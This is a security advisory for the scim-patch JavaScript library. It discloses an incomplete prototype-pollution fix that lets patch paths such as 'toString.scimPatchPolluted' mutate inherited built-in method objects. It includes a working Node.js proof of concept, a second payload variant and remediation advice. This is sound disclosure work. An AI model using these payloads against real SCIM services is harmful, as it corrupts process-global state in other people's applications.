GHSA-2mhw-wcx5-v3xj

## Summary

Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects

`scim-patch` blocks direct dangerous path segments such as `__proto__`, `constructor`, and `prototype`, but still traverses inherited properties when applying SCIM patch paths.

An attacker who controls a SCIM PATCH operation can use paths such as `toString.polluted` to mutate shared built-in function objects, for example `Object.prototype.toString`.

## Impact

A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct `Object.prototype` pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.

## Details

Affected code paths:

- `navigate()` reads inherited properties via `schema[subPath]` - `assign()` uses `key in obj`, which treats inherited properties as existing

Because inherited keys are followed, safe-looking path segments such as `toString` can resolve to shared built-in objects.

## PoC

```js const assert = require("node:assert/strict"); const { scimPatch } = require("./lib/src/scimPatch");

const victim = { schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"], userName: "alice", active: true, emails: [{ value: "alice@example.com", primary: true }], meta: { created: "x", lastModified: "x", resourceType: "User" } };

try { assert.equal(({}).toString.scimPatchPolluted, undefined);

scimPatch(victim, [ { op: "add", path: "toString.scimPatchPolluted", value: "polluted" } ]);

assert.equal(({}).toString.scimPatchPolluted, "polluted"); console.log(({}).toString.scimPatchPolluted); } finally { delete Object.prototype.toString.scimPatchPolluted; } ```

Output:

```text polluted ```

A no-path operation with a dotted value key is also affected:

```js scimPatch(victim, [ { op: "add", value: { "toString.noPathPolluted": "polluted" } } ]); ```

## Remediation

Do not traverse inherited properties while resolving patch paths. Use own-property checks such as `Object.hasOwn(obj, key)` and create missing containers only for safe own keys.

Keep the existing denylist for `__proto__`, `constructor`, and `prototype` as defense in depth.